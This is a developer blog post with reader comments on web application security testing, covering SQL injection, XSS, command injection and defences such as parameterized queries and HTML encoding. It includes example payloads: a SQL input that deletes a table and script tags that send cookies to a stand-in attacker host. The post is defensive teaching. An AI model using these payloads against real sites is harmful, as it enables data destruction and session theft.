Why Web Application Security Testing is Critical to Build Secure Apps

There are numerous ways which put websites and applications at risk, however the scale of threat varies as does the difficulty in hacking.

Imagine if it can be as serious as leaking of valuable information or personal images for a common user, how severe can it be for companies who protect the valuable data of millions of users; even large corporates or software service providers. It is way beyond one can imagine!

For users whose personal accounts have been hacked, they take the extra precaution of changing passwords or using more secured firewalls; yet there’s no guarantee that they won’t face a similar calamity again. Hence arises the question, what security measures to take which can avert such breaches in the future?

As you read ahead you will come across information you are already acquainted with as a developer, but not practicing in most cases. It is time you started checking your codes from the vulnerability point of view as well. During the software development lifecycle (SDLC) there are numerous small openings which are either ignored or never tested from vulnerability end.

For instance, many websites do not allow special characters to be included as passwords. Why should it be so? You are making it easier for the hacker to guess the passwords. Another example, not every button of the application are tested by the Quality Assurance team from security testing perspective. The reviews section of the registration page of your website or the comment section of your blog page, can be very easily used to inject bugs; how many times does your QA team care to test these?

What is Web Application Security Testing?

Ever thought where lies the credibility of the websites who promise uncompromised security to their clients, when they cannot protect their own? The focus should be on finding loopholes in the application’s security when it is being built; rather than pondering over how to strengthen the firewall when the fortress has already been breached.

The amusing part of the story is that these bugs which become the gateway for hackers are usually critical mistakes by the developers. There lay so many cases of website hacking in front of us that make you question the immunity of sharing and/or storing data on the Internet and clouds. Some pretty recent incidents which have made headlines and become topics of big discussions have raised these security concerns. Whether it is the most widely used Gmail, EBay, Adobe, LinkedIn or iCloud nothing is secure as you have been expecting it to be.

[Tweet “Without a proper security testing an application has only been half-tested.”]

Recently after attending a seminar with the OWASP team, I realized that although we think we are following the best Quality Assurance methods yet there are ambiguities overlooked on our part as developers and lead to disasters for the client at a later stage. It is time we hand down the necessity of best practices which are going unnoticed in most cases.

Let me explain with an example:

The usual wrong approach:

string commandText = "SELECT * FROM Product "+ "WHERE ProductName= '"+ productName +"'";

Since, this query is fully expandable the hacker can easily inject SQL in the ProductName (input) like:

SELECT * FROM Product WHERE ProductName = ''; DELETE Orders;

The right approach is applying the simple technique of parameterized queries.

string commandText = "SELECT * FROM Product "+ "WHERE ProductName = @ProductName";SqlCommand cmd = new SqlCommand(commandText, conn);cmd.Parameters.Add("@ProductName",productName);

This will save our clients and users from big menaces.

The below mentioned list of vulnerabilities are the most common impacts of coding carelessness, by the hands of developers. The list is long hence we will be covering a few critical ones here.


When the control plane data is injected into the user controlled data plane thus modifying the control flow of the process; it results in disclosure of useful and data sensitive information. Injection issues occur mostly due to logic errors, caused either due to lack of knowledge or the habit of doing smart work when cautiousness is required. Amongst other threats caused due to injection problem there are loss of data, jeopardized authentication and loss of data integrity. It is broadly classified under these three categories:

1. Code Injection

Improper validation of data is the main cause of code injection; a code is inserted into the application which is later executed by it leading to loss of availability and/or accountability. Inaccuracy when validating data formats or extent of predictable data leaves the gap for the hackers to tamper and use code injections.

Amongst the varied types of code injection, I have pointed out the major two here:

a) SQL Injection

The commonest injection in ASP and PHP, an SQL query is injected through the input data from the client to the application. An SQL injection can affect the performance of predefined SQL commands. It can lead to destroying of data or making it unavailable; the hacker can even become the administrator of the database server.

For instance there are two fields in your table, one for ID and the other for Comment String, which you will commonly insert in the below mentioned format.


However, consider someone entering the following comment:

'); DELETE FROM blogs; --

If you have been careless and not used parameterized SQL queries in your comment string, then your single query can easily be changed into two.


It will delete everything from your blogs table; hence use parameterized SQL queries to prevent this.

b) HTML Script Injection

Another form of Code Injection method which is the result of improper user supplied data handling. The hacker inserts their own content into the page using valid HTML value, often parameterized. The attacker creates a malignant content along with HTML codes and sends it to the user. The receiver takes it to be coming from a trusted source and clicks on it. As soon as the user fills in his username and password it reaches the hacker, thus causing a huge loss to the former.

Hacker can inject the html script via input like:

Hello World! This is my comment <script>document.location="https://attacker_website/read_cookies.cgi?" + document.cookie</script>

The above HTML script is posting cookie data on the attacker_website. In order to avoid this situation once should validate the data properly or use HTML encoding as shown below.

String result = Server.HtmlEncode("<script>unsafe</script>");

2. Command Injection

Inserting the command injection in the host application is possible when the latter is passing unsafe cookies to a system shell. The motive of the hacker usually is implementing random commands on the operating system of the host. Although the hacker is unable to add his own code as is the case with code injection however, it points out that your application is vulnerable.

public void ExecuteCommand(String myStr) {
ProcessStartInfo processStartInfo = new ProcessStartInfo("My.exe");
processStartInfo.Arguments = myStr;
processStartInfo.UseShellExecute = true;

Most languages have programming objects that can run other code. In the above mentioned code My.exe can access cmd.exe on windows, thus allowing the hacker to easily take over the server where the application is hosted. To avoid these kind of injections it is advisable to use libraries or DLLs instead of code files.

3. Broken Authentication and Session Management

For developers who often prefer to create their own session tokens although most application development environment have the session capability; it turns out to be riskier. If your session identifiers and authentication credentials have not been protected with Secure Sockets Layer (SSL), from defects like cross-site scripting (elaborated below), the hacker can easily break-in into a running session posing as a user.

4. Cross-Site Scripting
CSRF or Cross Site Request Forgery makes the user execute undesired actions on a web application with the aid of social engineering, such as sending malicious links via mail or chat. This must have happened with many of you, here I will explain the reason why it happens even when you take the precaution of using a secret cookie.

Generally cross-site scripting happens when a hacker sends malicious codes or links to the end user, usually in the form of a browser side script. XSS can lead to some major issues like disclosing the data in secured files; sending out malicious links from the account of the end-user ultimately compromising the whole account; inserting viruses into the database etc.

The XSS code is injected into an unquestionable user and the browser runs the script taking that it comes from a trusted source. This script then accesses the user’s session tokens, cookies and all that the user has stored and browsed. Thus, modifying everything and sending out nasty mails.

Even your secure cookies will not be helpful in this regard since XSS code will be have access to all your details, the only way is to perform a security review of the code.

<a href="<script> document.location.replace( '' + document.cookie);</script>">Click here for your prize</a>

The above shown code is sending cookie data to In .net pages, we can enable the ValidateRequest to secure websites. If you are disabling ValidateRequest then make sure that the data entered by the user is validated or managed by using HttpUtility.HtmlEncode.

Some Protection Measures

As goes the saying a stitch in time saves time, I would like to put forward these easy to adopt security tools and ethics for my fellow developers:

1. Headers
Using secured HTTP headers is one of the best practices for making safe your connections to the server. Applying headers in the web server configuration such as Apache, nginx etc. is considered helpful if you want to strengthen the defence mechanisms of your new applications.

For instance X-Frame-Options denies rendering within one frame; does not render if the origins do not match but allows rendering when carried out frame by frame from domain. The other secured headers that can be used are X-Content-Type-Options, Strict-Transport-Security.

2. Password Protection Measures
There should be no restriction on the password strength i.e. the size and complexity of characters. Moreover, storage of passwords should be in the encrypted form; preferably in the hashed format because it is irreversible. Definite number of login attempts and informing the user of the timings of their logins as well as failed login attempts are commonly applied, helpful secured practices.

3. Secured Session ID
Guarding your session transit with the help of SSL is amongst the best ways to save your day. The session id should ideally be never included in the URL; and they should be long enough that makes them impossible to be guessed. Never accept a session id suggested by a user!

4. Avoiding Hidden Components
Authentication of every component with the other is highly important, applying strong procedural and architecture mechanisms prevents the misuse of site architecture as it progresses over time. Using no cache tag deters from going back to the login page using the back button and obtaining the resubmitted user credentials.

These are simple measures if taken will keep you on the safer side.


Web Application Security testing should be an integral part of the QA process and no aspect should be left unquestioned to ensure absolutely secured web application development. With every enterprise focusing on providing quality software development services, we also need to focus on making it equally well-protected against any sort of hacking attempts. If you have been following the recent accidents which have left many big enterprises baffled, you will easily be able to gauge the severity of the loss of data into nasty hands. It is getting highly critical for us developers to learn, teach and practice the best ways of safe coding when creating applications.

As a developer who has earned his way to becoming the Project Lead, I believe it lies in our hands how to ensure optimum security to our clients and their end-users. Another tip that I would like to conclude with, something which I say to all my co-workers and juniors, ‘Until you think like a hacker you will not know which security measures to apply that will prevent such incidents; and you will end up leaving a crack for the attacker.’

Harpal Boparai

About the Author

Filled with the energy of coding and development, he has made his way from a rookie developer to Project Lead all with his knowledge and thirst to learn and apply the best. Harpal Boparai’s devotion lies in practicing what is best according to the industry standards and he will never let you go without the perfect solution when you approach him with a query. A certified Google Clouds Developer he is the perfect example of how hard work makes one successful. Famous for his rib-tickling jokes amongst his friends, he is not just an experienced professional but also a knowledgeable guide for all his subordinates.

Leave a Comment

Jack Martin

4:23 PM, Mar 31, 2016

Very nice, i like the way you explained. I also wrote something on similar lines on Why security testing required for Software and Apps. Hope you would like it -


11:24 AM, Jan 13, 2015

Thaanks for sharing your info.I truly appreciate
your efforts and I amm waiting for your next write ups thank you once again.

Shikha Thakur

5:55 PM, Oct 08, 2014

The article is quiet explanatory.Web security has become a big challenge for testers too. This article helps to know about the measures to be taken while testing a web application.

Contact us

Pin It on Pinterest


Join our mailing list to receive alerts on latest insights, updates, and exclusive offers. No spam.